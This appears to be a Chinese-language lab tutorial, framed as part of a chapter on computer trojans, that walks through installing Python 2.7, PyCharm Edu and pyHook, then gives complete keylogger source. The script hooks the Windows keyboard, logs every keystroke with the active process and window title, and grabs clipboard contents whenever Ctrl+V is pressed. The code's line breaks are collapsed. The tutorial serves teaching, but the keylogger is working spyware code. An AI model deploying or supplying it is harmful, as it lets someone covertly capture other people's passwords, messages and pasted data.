编程实现键盘记录功能
目錄
1、安裝python2.7
2、安裝pycharm edu
3、安裝完成之后進行相關庫的安裝
?4、在pycharm中添加解釋器
5、對鍵盤記錄功能的代碼
6、實驗代碼的運行
1、安裝python2.7
(1)下載安裝程序
下載鏈接如下:https://www.python.org/downloads/release/python-2712/
(2)打開上述鏈接,顯示如下:
根據自己電腦配置進行選擇,我的是win7 64位,所以我選擇的是上述截圖中紅圈圈中的版本,點擊左側文件名會自動下載。
(3)雙擊下載之后的msi安裝程序進行安裝,選擇“Install just for me(not available on Windows Vista)”,然后點“Next >”,操作截圖如下
(4)選擇安裝路徑,用默認的C盤即可,然后點“Next>”,操作截圖如下:
?
(5)選擇Python所要安裝的文件,默認全部即可,然后點“Next>”,操作截圖如下:
(6)安裝完成之后顯示如下截圖的內容,點擊“Finish”即可。
???? (7) 將安裝的Python添加到環境變量中,右鍵“我的電腦”(win7系統有的顯示是“計算機”)選擇“屬性”,然后選擇“高級系統設置”,操作截圖如下:
(8) 彈出的“系統屬性”界面,選擇“高級”里面的“環境變量(N)...”,操作顯示如下:
(9) 彈出“環境變量”的對話框,在下面的“系統變量”中找到“Path”,然后點擊“編輯”,操作顯示如下:
(10) 在彈出的編輯對話框中,將Python的安裝目錄“C:\Python27”填寫進去,注意,兩個路徑之間是用“;”分號隔開的。操作顯示如下:
2、安裝pycharm edu
下載地址如下:https://www.jetbrains.com/pycharm-edu/
3、安裝完成之后進行相關庫的安裝
(1)ctypes庫:安裝在pycharm后,在pycharm;
即表示安裝成功。
(2)pythoncom和win32clipboard庫:在Python Packages欄搜索 pywin32安裝
(3)pyhook庫:下載好文件pyHook-1.5.1-cp27-cp27m-win_amd64.whl,并用命令行對其進行安裝
4、在pycharm中添加解釋器
(1)在pycharm中,點擊File—>Settings…
(2)彈出Settings對話框中顯示目前的Project Interpreter,點開下拉菜單,選擇”Show All…“
(3)點擊窗口右側的+
(4)彈出如下對話框,選擇“Existing environment”,并選擇右邊“…”圖標,在和Python.exe同樣的目錄中,選擇名為“Pythonw.exe”的interpreter:
(5)運行.py文件,文件解決
5、對鍵盤記錄功能的代碼
# -*- coding: UTF-8 -*- #第7章 計算機木馬 ############################################################################## # 程序名:keylogger.py # 功能:利用Python第三方庫PyHook實現鍵盤記錄 # 說 明:運行平臺Windows。它利用Windows的SetWindowsHookEx函數注冊了一個自 # 定義的鉤子函數,通過函數就能截獲用戶的按鍵消息。 ##############################################################################from ctypes import * import pythoncom import pyHook import win32clipboarduser32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Nonedef get_current_process():hwnd = user32.GetForegroundWindow() # 獲得前臺窗口句柄pid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd, byref(pid))process_id = "%d" % pid.value # 獲得進程PIDexecutable = create_string_buffer("\x00" * 512)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 獲得進程名window_title = create_string_buffer("\x00" * 512)length = user32.GetWindowTextA(hwnd, byref(window_title),512) # 獲得窗口名printprint "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)printkernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)def key_event(event):global current_windowif event.WindowName != current_window: # 檢查目標是否切換了窗口current_window = event.WindowNameget_current_process()if event.Ascii > 32 and event.Ascii < 127: # 檢查是否為常規按鍵print chr(event.Ascii),else:if event.Key == "V": # 如果是Ctrl+V,則獲取剪貼板內容win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE] - %s" % (pasted_value),else:print "[%s]" % event.Key,return True # 返回到下一個鉤子事件def key_logger():hooker = pyHook.HookManager() # 創建鉤子函數管理器hooker.KeyDown = key_event # 注冊鉤子按鍵事件的處理函數hooker.HookKeyboard() # 創建鍵盤鉤子pythoncom.PumpMessages()if __name__ == '__main__':key_logger()6、實驗代碼的運行
(1)在桌面創建文件文本
(2)修改文件名,可以看見鍵盤被記錄下來
?
總結
以上是生活随笔為你收集整理的编程实现键盘记录功能的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 简单的键盘按键记录(无码)/虚拟地址转物
- 下一篇: 3种简单的键盘记录简单介绍